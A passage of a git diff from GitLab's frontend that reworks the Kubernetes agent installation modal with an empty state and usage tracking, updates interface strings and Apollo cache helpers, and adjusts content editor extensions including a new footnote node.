</template>
</gl-card>
diff --git a/app/assets/javascripts/clusters_list/components/install_agent_modal.vue b/app/assets/javascripts/clusters_list/components/install_agent_modal.vue
index 6eb2e85ecea..5eef76252bd 100644
--- a/app/assets/javascripts/clusters_list/components/install_agent_modal.vue
+++ b/app/assets/javascripts/clusters_list/components/install_agent_modal.vue
@@ -9,22 +9,48 @@ import {
GlSprintf,
} from '@gitlab/ui';
import { helpPagePath } from '~/helpers/help_page_helper';
-import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import ModalCopyButton from '~/vue_shared/components/modal_copy_button.vue';
import CodeBlock from '~/vue_shared/components/code_block.vue';
+import Tracking from '~/tracking';
import { generateAgentRegistrationCommand } from '../clusters_util';
-import { INSTALL_AGENT_MODAL_ID, I18N_INSTALL_AGENT_MODAL } from '../constants';
-import { addAgentToStore } from '../graphql/cache_update';
+import {
+ INSTALL_AGENT_MODAL_ID,
+ I18N_AGENT_MODAL,
+ KAS_DISABLED_ERROR,
+ EVENT_LABEL_MODAL,
+ EVENT_ACTIONS_OPEN,
+ EVENT_ACTIONS_SELECT,
+ EVENT_ACTIONS_CLICK,
+ MODAL_TYPE_EMPTY,
+ MODAL_TYPE_REGISTER,
+} from '../constants';
+import { addAgentToStore, addAgentConfigToStore } from '../graphql/cache_update';
import createAgent from '../graphql/mutations/create_agent.mutation.graphql';
import createAgentToken from '../graphql/mutations/create_agent_token.mutation.graphql';
import getAgentsQuery from '../graphql/queries/get_agents.query.graphql';
+import agentConfigurations from '../graphql/queries/agent_configurations.query.graphql';
import AvailableAgentsDropdown from './available_agents_dropdown.vue';
+const trackingMixin = Tracking.mixin({ label: EVENT_LABEL_MODAL });
+
export default {
modalId: INSTALL_AGENT_MODAL_ID,
- i18n: I18N_INSTALL_AGENT_MODAL,
+ EVENT_ACTIONS_OPEN,
+ EVENT_ACTIONS_CLICK,
+ EVENT_LABEL_MODAL,
+ basicInstallPath: helpPagePath('user/clusters/agent/install/index', {
+ anchor: 'install-the-agent-into-the-cluster',
+ }),
+ advancedInstallPath: helpPagePath('user/clusters/agent/install/index', {
+ anchor: 'advanced-installation',
+ }),
+ enableKasPath: helpPagePath('administration/clusters/kas'),
+ installAgentPath: helpPagePath('user/clusters/agent/install/index'),
+ registerAgentPath: helpPagePath('user/clusters/agent/install/index', {
+ anchor: 'register-an-agent-with-gitlab',
+ }),
components: {
AvailableAgentsDropdown,
- ClipboardButton,
CodeBlock,
GlAlert,
GlButton,
@@ -33,8 +59,10 @@ export default {
GlLink,
GlModal,
GlSprintf,
+ ModalCopyButton,
},
- inject: ['projectPath', 'kasAddress'],
+ mixins: [trackingMixin],
+ inject: ['projectPath', 'kasAddress', 'emptyStateImage'],
props: {
defaultBranchName: {
default: '.noBranch',
@@ -46,6 +74,22 @@ export default {
type: Number,
},
},
+ apollo: {
+ agents: {
+ query: agentConfigurations,
+ variables() {
+ return {
+ projectPath: this.projectPath,
+ };
+ },
+ update(data) {
+ this.populateAvailableAgents(data);
+ },
+ error(error) {
+ this.kasDisabled = error?.message?.indexOf(KAS_DISABLED_ERROR) >= 0;
+ },
+ },
+ },
data() {
return {
registering: false,
@@ -53,6 +97,8 @@ export default {
agentToken: null,
error: null,
clusterAgent: null,
+ availableAgents: [],
+ kasDisabled: false,
};
},
computed: {
@@ -63,19 +109,11 @@ export default {
return !this.registering && this.agentName !== null;
},
canCancel() {
- return !this.registered && !this.registering;
+ return !this.registered && !this.registering && this.isAgentRegistrationModal;
},
agentRegistrationCommand() {
return generateAgentRegistrationCommand(this.agentToken, this.kasAddress);
},
- basicInstallPath() {
- return helpPagePath('user/clusters/agent/install/index', {
- anchor: 'install-the-agent-into-the-cluster',
- });
- },
- advancedInstallPath() {
- return helpPagePath('user/clusters/agent/install/index', { anchor: 'advanced-installation' });
- },
getAgentsQueryVariables() {
return {
defaultBranchName: this.defaultBranchName,
@@ -84,10 +122,31 @@ export default {
projectPath: this.projectPath,
};
},
+ i18n() {
+ return I18N_AGENT_MODAL[this.modalType];
+ },
+ repositoryPath() {
+ return `/${this.projectPath}`;
+ },
+ modalType() {
+ return !this.availableAgents?.length && !this.registered
+ ? MODAL_TYPE_EMPTY
+ : MODAL_TYPE_REGISTER;
+ },
+ modalSize() {
+ return this.isEmptyStateModal ? 'sm' : 'md';
+ },
+ isEmptyStateModal() {
+ return this.modalType === MODAL_TYPE_EMPTY;
+ },
+ isAgentRegistrationModal() {
+ return this.modalType === MODAL_TYPE_REGISTER;
+ },
},
methods: {
setAgentName(name) {
this.agentName = name;
+ this.track(EVENT_ACTIONS_SELECT);
},
closeModal() {
this.$refs.modal.hide();
@@ -96,8 +155,16 @@ export default {
this.registering = false;
this.agentName = null;
this.agentToken = null;
+ this.clusterAgent = null;
this.error = null;
},
+ populateAvailableAgents(data) {
+ const installedAgents = data?.project?.clusterAgents?.nodes.map((agent) => agent.name) ?? [];
+ const configuredAgents =
+ data?.project?.agentConfigurations?.nodes.map((config) => config.agentName) ?? [];
+
+ this.availableAgents = configuredAgents.filter((agent) => !installedAgents.includes(agent));
+ },
createAgentMutation() {
return this.$apollo
.mutate({
@@ -117,7 +184,9 @@ export default {
);
},
})
- .then(({ data: { createClusterAgent } }) => createClusterAgent);
+ .then(({ data: { createClusterAgent } }) => {
+ return createClusterAgent;
+ });
},
createAgentTokenMutation(agendId) {
return this.$apollo
@@ -129,6 +198,17 @@ export default {
name: this.agentName,
},
},
+ update: (store, { data: { clusterAgentTokenCreate } }) => {
+ addAgentConfigToStore(
+ store,
+ clusterAgentTokenCreate,
+ this.clusterAgent,
+ agentConfigurations,
+ {
+ projectPath: this.projectPath,
+ },
+ );
+ },
})
.then(({ data: { clusterAgentTokenCreate } }) => clusterAgentTokenCreate);
},
@@ -158,7 +238,7 @@ export default {
if (error) {
this.error = error.message;
} else {
- this.error = this.$options.i18n.unknownError;
+ this.error = this.i18n.unknownError;
}
} finally {
this.registering = false;
@@ -172,115 +252,172 @@ export default {
<gl-modal
ref="modal"
:modal-id="$options.modalId"
- :title="$options.i18n.modalTitle"
+ :title="i18n.modalTitle"
+ :size="modalSize"
static
lazy
@hidden="resetModal"
+ @show="track($options.EVENT_ACTIONS_OPEN, { property: modalType })"
>
- <template v-if="!registered">
- <p>
- <strong>{{ $options.i18n.selectAgentTitle }}</strong>
- </p>
+ <template v-if="isAgentRegistrationModal">
+ <template v-if="!registered">
+ <p>
+ <strong>{{ i18n.selectAgentTitle }}</strong>
+ </p>
- <p>
- <gl-sprintf :message="$options.i18n.selectAgentBody">
- <template #link="{ content }">
- <gl-link :href="basicInstallPath" target="_blank"> {{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
+ <p class="gl-mb-0">{{ i18n.selectAgentBody }}</p>
+ <p>
+ <gl-link :href="$options.registerAgentPath"> {{ i18n.learnMoreLink }}</gl-link>
+ </p>
- <form>
- <gl-form-group label-for="agent-name">
- <available-agents-dropdown
- class="gl-w-70p"
- :is-registering="registering"
- @agentSelected="setAgentName"
- />
- </gl-form-group>
- </form>
+ <form>
+ <gl-form-group label-for="agent-name">
+ <available-agents-dropdown
+ class="gl-w-70p"
+ :is-registering="registering"
+ :available-agents="availableAgents"
+ @agentSelected="setAgentName"
+ />
+ </gl-form-group>
+ </form>
- <p v-if="error">
- <gl-alert
- :title="$options.i18n.registrationErrorTitle"
- variant="danger"
- :dismissible="false"
- >
- {{ error }}
- </gl-alert>
- </p>
- </template>
+ <p v-if="error">
+ <gl-alert :title="i18n.registrationErrorTitle" variant="danger" :dismissible="false">
+ {{ error }}
+ </gl-alert>
+ </p>
+ </template>
- <template v-else>
- <p>
- <strong>{{ $options.i18n.tokenTitle }}</strong>
- </p>
+ <template v-else>
+ <p>
+ <strong>{{ i18n.tokenTitle }}</strong>
+ </p>
- <p>
- <gl-sprintf :message="$options.i18n.tokenBody">
- <template #link="{ content }">
- <gl-link :href="basicInstallPath" target="_blank"> {{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
+ <p>
+ <gl-sprintf :message="i18n.tokenBody">
+ <template #link="{ content }">
+ <gl-link :href="$options.basicInstallPath" target="_blank"> {{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
- <p>
- <gl-alert
- :title="$options.i18n.tokenSingleUseWarningTitle"
- variant="warning"
- :dismissible="false"
- >
- {{ $options.i18n.tokenSingleUseWarningBody }}
- </gl-alert>
- </p>
+ <p>
+ <gl-alert :title="i18n.tokenSingleUseWarningTitle" variant="warning" :dismissible="false">
+ {{ i18n.tokenSingleUseWarningBody }}
+ </gl-alert>
+ </p>
- <p>
- <gl-form-input-group readonly :value="agentToken" :select-on-click="true">
- <template #append>
- <clipboard-button :text="agentToken" :title="$options.i18n.copyToken" />
- </template>
- </gl-form-input-group>
- </p>
+ <p>
+ <gl-form-input-group readonly :value="agentToken" :select-on-click="true">
+ <template #append>
+ <modal-copy-button
+ :text="agentToken"
+ :title="i18n.copyToken"
+ :modal-id="$options.modalId"
+ />
+ </template>
+ </gl-form-input-group>
+ </p>
- <p>
- <strong>{{ $options.i18n.basicInstallTitle }}</strong>
- </p>
+ <p>
+ <strong>{{ i18n.basicInstallTitle }}</strong>
+ </p>
- <p>
- {{ $options.i18n.basicInstallBody }}
- </p>
+ <p>
+ {{ i18n.basicInstallBody }}
+ </p>
- <p>
- <code-block :code="agentRegistrationCommand" />
- </p>
+ <p>
+ <code-block :code="agentRegistrationCommand" />
+ </p>
+
+ <p>
+ <strong>{{ i18n.advancedInstallTitle }}</strong>
+ </p>
+
+ <p>
+ <gl-sprintf :message="i18n.advancedInstallBody">
+ <template #link="{ content }">
+ <gl-link :href="$options.advancedInstallPath" target="_blank"> {{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </template>
+ </template>
+
+ <template v-else>
+ <div class="gl-text-center gl-mb-5">
+ <img :alt="i18n.altText" :src="emptyStateImage" height="100" />
+ </div>
<p>
- <strong>{{ $options.i18n.advancedInstallTitle }}</strong>
+ <gl-sprintf :message="i18n.modalBody">
+ <template #link="{ content }">
+ <gl-link :href="$options.installAgentPath"> {{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
</p>
- <p>
- <gl-sprintf :message="$options.i18n.advancedInstallBody">
+ <p v-if="kasDisabled">
+ <gl-sprintf :message="i18n.enableKasText">
<template #link="{ content }">
- <gl-link :href="advancedInstallPath" target="_blank"> {{ content }}</gl-link>
+ <gl-link :href="$options.enableKasPath"> {{ content }}</gl-link>
</template>
</gl-sprintf>
</p>
</template>
<template #modal-footer>
- <gl-button v-if="canCancel" @click="closeModal">{{ $options.i18n.cancel }} </gl-button>
-
- <gl-button v-if="registered" variant="confirm" category="primary" @click="closeModal"
- >{{ $options.i18n.close }}
+ <gl-button
+ v-if="registered"
+ variant="confirm"
+ category="primary"
+ :data-track-action="$options.EVENT_ACTIONS_CLICK"
+ :data-track-label="$options.EVENT_LABEL_MODAL"
+ data-track-property="close"
+ @click="closeModal"
+ >{{ i18n.close }}
</gl-button>
<gl-button
- v-else
+ v-else-if="isAgentRegistrationModal"
:disabled="!nextButtonDisabled"
variant="confirm"
category="primary"
+ :data-track-action="$options.EVENT_ACTIONS_CLICK"
+ :data-track-label="$options.EVENT_LABEL_MODAL"
+ data-track-property="register"
@click="registerAgent"
- >{{ $options.i18n.registerAgentButton }}
+ >{{ i18n.registerAgentButton }}
+ </gl-button>
+
+ <gl-button
+ v-if="canCancel"
+ :data-track-action="$options.EVENT_ACTIONS_CLICK"
+ :data-track-label="$options.EVENT_LABEL_MODAL"
+ data-track-property="cancel"
+ @click="closeModal"
+ >{{ i18n.cancel }}
+ </gl-button>
+
+ <gl-button
+ v-if="isEmptyStateModal"
+ :href="repositoryPath"
+ variant="confirm"
+ category="secondary"
+ data-testid="agent-secondary-button"
+ >{{ i18n.secondaryButton }}
+ </gl-button>
+
+ <gl-button
+ v-if="isEmptyStateModal"
+ variant="confirm"
+ category="primary"
+ :data-track-action="$options.EVENT_ACTIONS_CLICK"
+ :data-track-label="$options.EVENT_LABEL_MODAL"
+ data-track-property="done"
+ @click="closeModal"
+ >{{ i18n.done }}
</gl-button>
</template>
</gl-modal>
diff --git a/app/assets/javascripts/clusters_list/constants.js b/app/assets/javascripts/clusters_list/constants.js
index 9fefdf450c4..9b52df74fc5 100644
--- a/app/assets/javascripts/clusters_list/constants.js
+++ b/app/assets/javascripts/clusters_list/constants.js
@@ -64,47 +64,63 @@ export const STATUSES = {
creating: { title: __('Creating') },
};
-export const I18N_INSTALL_AGENT_MODAL = {
- registerAgentButton: s__('ClusterAgents|Register Agent'),
- close: __('Close'),
- cancel: __('Cancel'),
-
- modalTitle: s__('ClusterAgents|Install new Agent'),
-
- selectAgentTitle: s__('ClusterAgents|Select which Agent you want to install'),
- selectAgentBody: s__(
- `ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}.`,
- ),
+export const I18N_AGENT_MODAL = {
+ agent_registration: {
+ registerAgentButton: s__('ClusterAgents|Register'),
+ close: __('Close'),
+ cancel: __('Cancel'),
+
+ modalTitle: s__('ClusterAgents|Connect a cluster through the Agent'),
+ selectAgentTitle: s__('ClusterAgents|Select an agent to register with GitLab'),
+ selectAgentBody: s__(
+ 'ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step.',
+ ),
+ learnMoreLink: s__('ClusterAgents|How to register an agent?'),
- copyToken: s__('ClusterAgents|Copy token'),
- tokenTitle: s__('ClusterAgents|Registration token'),
- tokenBody: s__(
- `ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}.`,
- ),
+ copyToken: s__('ClusterAgents|Copy token'),
+ tokenTitle: s__('ClusterAgents|Registration token'),
+ tokenBody: s__(
+ `ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}`,
+ ),
- tokenSingleUseWarningTitle: s__(
- 'ClusterAgents|The token value will not be shown again after you close this window.',
- ),
- tokenSingleUseWarningBody: s__(
- `ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window.`,
- ),
+ tokenSingleUseWarningTitle: s__(
+ 'ClusterAgents|You cannot see this token again after you close this window.',
+ ),
+ tokenSingleUseWarningBody: s__(
+ `ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window.`,
+ ),
- basicInstallTitle: s__('ClusterAgents|Recommended installation method'),
- basicInstallBody: __(
- `Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command.`,
- ),
+ basicInstallTitle: s__('ClusterAgents|Recommended installation method'),
+ basicInstallBody: __(
+ `Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command.`,
+ ),
- advancedInstallTitle: s__('ClusterAgents|Alternative installation methods'),
- advancedInstallBody: s__(
- 'ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}.',
- ),
+ advancedInstallTitle: s__('ClusterAgents|Advanced installation methods'),
+ advancedInstallBody: s__(
+ 'ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}.',
+ ),
- registrationErrorTitle: __('Failed to register Agent'),
- unknownError: s__('ClusterAgents|An unknown error occurred. Please try again.'),
+ registrationErrorTitle: s__('ClusterAgents|Failed to register an agent'),
+ unknownError: s__('ClusterAgents|An unknown error occurred. Please try again.'),
+ },
+ empty_state: {
+ modalTitle: s__('ClusterAgents|Connect your cluster through the Agent'),
+ modalBody: s__(
+ "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}",
+ ),
+ enableKasText: s__(
+ "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it.",
+ ),
+ altText: s__('ClusterAgents|GitLab Agent for Kubernetes'),
+ secondaryButton: s__('ClusterAgents|Go to the repository files'),
+ done: __('Cancel'),
+ },
};
+export const KAS_DISABLED_ERROR = 'Gitlab::Kas::Client::ConfigurationError';
+
export const I18N_AVAILABLE_AGENTS_DROPDOWN = {
- selectAgent: s__('ClusterAgents|Select an Agent'),
+ selectAgent: s__('ClusterAgents|Select an agent'),
registeringAgent: s__('ClusterAgents|Registering Agent'),
};
@@ -125,7 +141,7 @@ export const AGENT_STATUSES = {
title: s__('ClusterAgents|Agent might not be connected to GitLab'),
body: sprintf(
s__(
- 'ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}.',
+ 'ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}.',
),
),
},
@@ -143,55 +159,48 @@ export const AGENT_STATUSES = {
export const I18N_AGENTS_EMPTY_STATE = {
introText: s__(
- 'ClusterAgents|Use GitLab Agents to more securely integrate with your clusters to deploy your applications, run your pipelines, use review apps and much more.',
- ),
- multipleClustersText: s__(
- 'ClusterAgents|If you are setting up multiple clusters and are using Auto DevOps, %{linkStart}read about using multiple Kubernetes clusters first.%{linkEnd}',
- ),
- learnMoreText: s__('ClusterAgents|Learn more about the GitLab Kubernetes Agent.'),
- warningText: s__(
- 'ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process.',
+ 'ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more.',
),
- readMoreText: s__('ClusterAgents|Read more about getting started'),
- repositoryButtonText: s__('ClusterAgents|Go to the repository'),
- primaryButtonText: s__('ClusterAgents|Connect with a GitLab Agent'),
+ buttonText: s__('ClusterAgents|Connect with the GitLab Agent'),
};
export const I18N_CLUSTERS_EMPTY_STATE = {
- description: s__(
- 'ClusterIntegration|Use certificates to integrate with your clusters to deploy your applications, run your pipelines, use review apps and much more in an easy way.',
- ),
- multipleClustersText: s__(
- 'ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{linkStart}read about using multiple Kubernetes clusters first.%{linkEnd}',
+ introText: s__(
+ 'ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}.',
),
- learnMoreLinkText: s__('ClusterIntegration|Learn more about the GitLab managed clusters'),
buttonText: s__('ClusterIntegration|Connect with a certificate'),
+ alertText: s__(
+ 'ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5.',
+ ),
};
export const AGENT_CARD_INFO = {
tabName: 'agent',
- title: sprintf(s__('ClusterAgents|%{number} of %{total} Agent based integrations')),
- emptyTitle: s__('ClusterAgents|No Agent based integrations'),
+ title: sprintf(s__('ClusterAgents|%{number} of %{total} agents')),
+ emptyTitle: s__('ClusterAgents|No agents'),
tooltip: {
label: s__('ClusterAgents|Recommended'),
- title: s__('ClusterAgents|GitLab Agents'),
+ title: s__('ClusterAgents|GitLab Agent'),
text: sprintf(
s__(
- 'ClusterAgents|GitLab Agents provide an increased level of security when integrating with clusters. %{linkStart}Learn more about the GitLab Kubernetes Agent.%{linkEnd}',
+ 'ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}',
),
),
link: helpPagePath('user/clusters/agent/index'),
},
- actionText: s__('ClusterAgents|Install new Agent'),
- footerText: sprintf(s__('ClusterAgents|View all %{number} Agent based integrations')),
+ actionText: s__('ClusterAgents|Install a new agent'),
+ footerText: sprintf(s__('ClusterAgents|View all %{number} agents')),
};
export const CERTIFICATE_BASED_CARD_INFO = {
tabName: 'certificate_based',
- title: sprintf(s__('ClusterAgents|%{number} of %{total} Certificate based integrations')),
- emptyTitle: s__('ClusterAgents|No Certificate based integrations'),
+ title: sprintf(
+ s__('ClusterAgents|%{number} of %{total} clusters connected through cluster certificates'),
+ ),
+ emptyTitle: s__('ClusterAgents|No clusters connected through cluster certificates'),
actionText: s__('ClusterAgents|Connect existing cluster'),
- footerText: sprintf(s__('ClusterAgents|View all %{number} Certificate based integrations')),
+ footerText: sprintf(s__('ClusterAgents|View all %{number} clusters')),
+ badgeText: s__('ClusterAgents|Deprecated'),
};
export const MAX_CLUSTERS_LIST = 6;
@@ -208,7 +217,7 @@ export const CLUSTERS_TABS = [
queryParamValue: 'agent',
},
{
- title: s__('ClusterAgents|Certificate based'),
+ title: s__('ClusterAgents|Certificate'),
component: 'clusters',
queryParamValue: 'certificate_based',
},
@@ -216,10 +225,20 @@ export const CLUSTERS_TABS = [
export const CLUSTERS_ACTIONS = {
actionsButton: s__('ClusterAgents|Actions'),
- createNewCluster: s__('ClusterAgents|Create new cluster'),
- connectWithAgent: s__('ClusterAgents|Connect with Agent'),
- connectExistingCluster: s__('ClusterAgents|Connect with certificate'),
+ createNewCluster: s__('ClusterAgents|Create a new cluster'),
+ connectWithAgent: s__('ClusterAgents|Connect with the Agent'),
+ connectExistingCluster: s__('ClusterAgents|Connect with a certificate'),
};
export const AGENT = 'agent';
export const CERTIFICATE_BASED = 'certificate_based';
+
+export const EVENT_LABEL_MODAL = 'agent_registration_modal';
+export const EVENT_LABEL_TABS = 'kubernetes_section_tabs';
+export const EVENT_ACTIONS_OPEN = 'open_modal';
+export const EVENT_ACTIONS_SELECT = 'select_agent';
+export const EVENT_ACTIONS_CLICK = 'click_button';
+export const EVENT_ACTIONS_CHANGE = 'change_tab';
+
+export const MODAL_TYPE_EMPTY = 'empty_state';
+export const MODAL_TYPE_REGISTER = 'agent_registration';
diff --git a/app/assets/javascripts/clusters_list/graphql/cache_update.js b/app/assets/javascripts/clusters_list/graphql/cache_update.js
index dd633820952..4d12bc8151c 100644
--- a/app/assets/javascripts/clusters_list/graphql/cache_update.js
+++ b/app/assets/javascripts/clusters_list/graphql/cache_update.js
@@ -1,29 +1,65 @@
import produce from 'immer';
import { getAgentConfigPath } from '../clusters_util';
+export const hasErrors = ({ errors = [] }) => errors?.length;
+
export function addAgentToStore(store, createClusterAgent, query, variables) {
- const { clusterAgent } = createClusterAgent;
- const sourceData = store.readQuery({
- query,
- variables,
- });
-
- const data = produce(sourceData, (draftData) => {
- const configuration = {
- name: clusterAgent.name,
- path: getAgentConfigPath(clusterAgent.name),
- webPath: clusterAgent.webPath,
- __typename: 'TreeEntry',
- };
-
- draftData.project.clusterAgents.nodes.push(clusterAgent);
- draftData.project.clusterAgents.count += 1;
- draftData.project.repository.tree.trees.nodes.push(configuration);
- });
-
- store.writeQuery({
- query,
- variables,
- data,
- });
+ if (!hasErrors(createClusterAgent)) {
+ const { clusterAgent } = createClusterAgent;
+ const sourceData = store.readQuery({
+ query,
+ variables,
+ });
+
+ const data = produce(sourceData, (draftData) => {
+ const configuration = {
+ id: clusterAgent.id,
+ name: clusterAgent.name,
+ path: getAgentConfigPath(clusterAgent.name),
+ webPath: clusterAgent.webPath,
+ __typename: 'TreeEntry',
+ };
+
+ draftData.project.clusterAgents.nodes.push(clusterAgent);
+ draftData.project.clusterAgents.count += 1;
+ draftData.project.repository.tree.trees.nodes.push(configuration);
+ });
+
+ store.writeQuery({
+ query,
+ variables,
+ data,
+ });
+ }
+}
+
+export function addAgentConfigToStore(
+ store,
+ clusterAgentTokenCreate,
+ clusterAgent,
+ query,
+ variables,
+) {
+ if (!hasErrors(clusterAgentTokenCreate)) {
+ const sourceData = store.readQuery({
+ query,
+ variables,
+ });
+
+ const data = produce(sourceData, (draftData) => {
+ const configuration = {
+ agentName: clusterAgent.name,
+ __typename: 'AgentConfiguration',
+ };
+
+ draftData.project.clusterAgents.nodes.push(clusterAgent);
+ draftData.project.agentConfigurations.nodes.push(configuration);
+ });
+
+ store.writeQuery({
+ query,
+ variables,
+ data,
+ });
+ }
}
diff --git a/app/assets/javascripts/clusters_list/graphql/fragments/cluster_agent.fragment.graphql b/app/assets/javascripts/clusters_list/graphql/fragments/cluster_agent.fragment.graphql
index 9b40260471c..cd46dfee170 100644
--- a/app/assets/javascripts/clusters_list/graphql/fragments/cluster_agent.fragment.graphql
+++ b/app/assets/javascripts/clusters_list/graphql/fragments/cluster_agent.fragment.graphql
@@ -4,6 +4,7 @@ fragment ClusterAgentFragment on ClusterAgent {
webPath
tokens {
nodes {
+ id
lastUsedAt
}
}
diff --git a/app/assets/javascripts/clusters_list/graphql/queries/agent_configurations.query.graphql b/app/assets/javascripts/clusters_list/graphql/queries/agent_configurations.query.graphql
index 40b61337024..9a24cec5a9c 100644
--- a/app/assets/javascripts/clusters_list/graphql/queries/agent_configurations.query.graphql
+++ b/app/assets/javascripts/clusters_list/graphql/queries/agent_configurations.query.graphql
@@ -1,5 +1,6 @@
query agentConfigurations($projectPath: ID!) {
project(fullPath: $projectPath) {
+ id
agentConfigurations {
nodes {
agentName
@@ -8,6 +9,7 @@ query agentConfigurations($projectPath: ID!) {
clusterAgents {
nodes {
+ id
name
}
}
diff --git a/app/assets/javascripts/clusters_list/graphql/queries/get_agents.query.graphql b/app/assets/javascripts/clusters_list/graphql/queries/get_agents.query.graphql
index 47b25988877..f8efb6683f6 100644
--- a/app/assets/javascripts/clusters_list/graphql/queries/get_agents.query.graphql
+++ b/app/assets/javascripts/clusters_list/graphql/queries/get_agents.query.graphql
@@ -12,6 +12,7 @@ query getAgents(
$beforeTree: String
) {
project(fullPath: $projectPath) {
+ id
clusterAgents(first: $first, last: $last, before: $beforeAgent, after: $afterAgent) {
nodes {
...ClusterAgentFragment
@@ -28,6 +29,7 @@ query getAgents(
tree(path: ".gitlab/agents", ref: $defaultBranchName) {
trees(first: $first, last: $last, after: $afterTree, before: $beforeTree) {
nodes {
+ id
name
path
webPath
diff --git a/app/assets/javascripts/code_navigation/components/doc_line.vue b/app/assets/javascripts/code_navigation/components/doc_line.vue
index 69d398893d9..4d44c984833 100644
--- a/app/assets/javascripts/code_navigation/components/doc_line.vue
+++ b/app/assets/javascripts/code_navigation/components/doc_line.vue
@@ -18,5 +18,6 @@ export default {
<span v-for="(token, tokenIndex) in tokens" :key="tokenIndex" :class="token.class">{{
token.value
}}</span>
+ <br />
</span>
</template>
diff --git a/app/assets/javascripts/content_editor/extensions/attachment.js b/app/assets/javascripts/content_editor/extensions/attachment.js
index 29ee282f2d2..72df1d071d1 100644
--- a/app/assets/javascripts/content_editor/extensions/attachment.js
+++ b/app/assets/javascripts/content_editor/extensions/attachment.js
@@ -5,9 +5,11 @@ import { handleFileEvent } from '../services/upload_helpers';
export default Extension.create({
name: 'attachment',
- defaultOptions: {
- uploadsPath: null,
- renderMarkdown: null,
+ addOptions() {
+ return {
+ uploadsPath: null,
+ renderMarkdown: null,
+ };
},
addCommands() {
diff --git a/app/assets/javascripts/content_editor/extensions/audio.js b/app/assets/javascripts/content_editor/extensions/audio.js
index 25d4068c93f..ea48ee0cee0 100644
--- a/app/assets/javascripts/content_editor/extensions/audio.js
+++ b/app/assets/javascripts/content_editor/extensions/audio.js
@@ -2,8 +2,10 @@ import Playable from './playable';
export default Playable.extend({
name: 'audio',
- defaultOptions: {
- ...Playable.options,
- mediaType: 'audio',
+ addOptions() {
+ return {
+ ...this.parent?.(),
+ mediaType: 'audio',
+ };
},
});
diff --git a/app/assets/javascripts/content_editor/extensions/code_block_highlight.js b/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
index 1ed1ab0315f..ea51bee3ba9 100644
--- a/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
+++ b/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
@@ -4,6 +4,8 @@ import * as lowlight from 'lowlight';
const extractLanguage = (element) => element.getAttribute('lang');
export default CodeBlockLowlight.extend({
+ isolating: true,
+
addAttributes() {
return {
language: {
@@ -17,7 +19,7 @@ export default CodeBlockLowlight.extend({
};
},
renderHTML({ HTMLAttributes }) {
- return ['pre', HTMLAttributes, ['code', {}, 0]];
+ return ['div', ['pre', HTMLAttributes, ['code', {}, 0]]];
},
}).configure({
lowlight,
diff --git a/app/assets/javascripts/content_editor/extensions/division.js b/app/assets/javascripts/content_editor/extensions/division.js
index c70d1700941..566ed85acf3 100644
--- a/app/assets/javascripts/content_editor/extensions/division.js
+++ b/app/assets/javascripts/content_editor/extensions/division.js
@@ -1,12 +1,26 @@
import { Node } from '@tiptap/core';
import { PARSE_HTML_PRIORITY_LOWEST } from '../constants';
+const getDiv = (element) => {
+ if (element.nodeName === 'DIV') return element;
+ return element.querySelector('div');
+};
+
export default Node.create({
name: 'division',
content: 'block*',
group: 'block',
defining: true,
+ addAttributes() {
+ return {
+ className: {
+ default: null,
+ parseHTML: (element) => getDiv(element).className || null,
+ },
+ };
+ },
+
parseHTML() {
return [{ tag: 'div', priority: PARSE_HTML_PRIORITY_LOWEST }];
},
diff --git a/app/assets/javascripts/content_editor/extensions/footnote_definition.js b/app/assets/javascripts/content_editor/extensions/footnote_definition.js
new file mode 100644
index 00000000000..dbab0de3421
--- /dev/null
+++ b/app/assets/javascripts/content_editor/extensions/footnote_definition.js
@@ -0,0 +1,21 @@
+import { mergeAttributes, Node } from '@tiptap/core';
+import { PARSE_HTML_PRIORITY_HIGHEST } from '../constants';
+
+export default Node.create({
+ name: 'footnoteDefinition',
+
+ content: 'paragraph',
+
+ group: 'block',
+
+ parseHTML() {
+ return [
+ { tag: 'section.footnotes li' },
+ { tag: '.footnote-backref', priority: PARSE_HTML_PRIORITY_HIGHEST, ignore: true },
+ ];
+ },
+
+ renderHTML({ HTMLAttributes }) {
+ return ['li', mergeAttributes(HTMLAttributes), 0];
+ },
+});
